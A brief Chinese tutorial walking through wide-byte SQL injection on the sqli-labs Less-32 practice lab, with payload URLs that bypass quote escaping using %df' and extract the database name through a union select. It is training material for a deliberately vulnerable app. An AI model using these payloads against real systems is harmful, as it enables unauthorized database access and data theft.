本篇文章给大家分享的是有关大数据中如何解析宽字节注入,小编觉得挺实用的,因此分享给大家学习,希望大家阅读完这篇文章后可以有所收获,话不多说,跟着小编一起来看看吧。
环境sqli-labs
less 32
一、输入特殊字符,都被转义了
http://192.168.1.121/sqli/Less-32/?id=1\
http://192.168.1.121/sqli/Less-32/?id=1'
http://192.168.1.121/sqli/Less-32/?id=1''
二、构造宽字节闭合
http://192.168.1.121/sqli/Less-32/?id=1%df' --+
理论上%81-%FE均可
三、联合查询数据库
http://192.168.1.121/sqli/Less-32/?id=-1%df' union select 1,database(),3 --+
以上就是大数据中如何解析宽字节注入,小编相信有部分知识点可能是我们日常工作会见到或用到的。希望你能通过这篇文章学到更多知识。更多详情敬请关注亿速云行业资讯频道。
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。